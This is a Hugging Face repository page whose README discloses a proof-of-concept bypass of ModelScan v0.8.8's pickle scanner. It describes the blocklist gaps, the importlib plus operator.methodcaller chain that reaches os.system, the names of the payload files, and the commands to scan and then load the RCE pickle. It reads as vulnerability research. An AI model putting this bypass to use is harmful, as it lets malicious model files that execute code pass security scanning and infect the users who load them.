Downloads · 30 days
0
optimus-fulcria/modelscan-pickle-bypass-poc
modelscan-pickle-bypass-poc is a machine learning model from optimus-fulcria. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
ModelScan v0.8.8's PickleUnsafeOpScan can be bypassed to achieve arbitrary code execution while the scanner reports 0 issues.
Downloads · 30 days
0
Access
Public
Updated Feb 21, 2026
Repo size
190 B
Likes
0
Public
Click a slice to open those files.
.py11.9 KB · 74%
From the Hugging Face model README
ModelScan v0.8.8's PickleUnsafeOpScan can be bypassed to achieve arbitrary code execution while the scanner reports 0 issues.
The pickle scanner uses a blocklist (unsafe_globals in settings.py) to detect dangerous pickle operations. This blocklist has critical gaps:
importlib - not listed at all, allows dynamic import of any module (including os, subprocess)operator.methodcaller - not blocked (only operator.attrgetter is blocked), allows calling any method on any objectcodecs.open - not blocked (alternative to builtins.open which IS blocked)io.open - not blocked (another alternative to builtins.open)http.client - not blocked (old name httplib IS blocked, but modern http.client is not)importlib.import_module('os') -> <module 'os'>
operator.methodcaller('system', 'id') -> callable mc
mc(<module 'os'>) -> os.system('id') -> FULL RCE!
The scanner extracts globals ('importlib', 'import_module') and ('operator', 'methodcaller'), checks them against the blocklist, finds no match, and reports 0 issues.
create_pickle_bypass.py - PoC creation script with 4 bypass techniquesrce_bypass.pkl - Full RCE bypass (importlib + operator.methodcaller)file_access_bypass.pkl - File read bypass (codecs.open)io_access_bypass.pkl - File I/O bypass (io.open)network_bypass.pkl - Network access bypass (http.client)# Install ModelScan
pip install modelscan==0.8.8
# Scan the RCE payload - should show "No issues found!"
modelscan --path rce_bypass.pkl
# Load it to confirm RCE (runs 'id' command)
python3 -c "import pickle; pickle.loads(open('rce_bypass.pkl','rb').read())"
All pickle-based scanners share the same _list_globals() + unsafe_globals detection:
PickleUnsafeOpScan (.pkl, .pickle, .joblib, .dill, .dat, .data)NumpyUnsafeOpScan (.npy with object dtype)PyTorchUnsafeOpScan (.bin, .pt, .pth, .ckpt non-zip)An attacker can craft a malicious pickle/numpy/pytorch model file that:
This is particularly dangerous because ModelScan is used by HuggingFace (as Protect AI Guardian) to scan uploaded model files.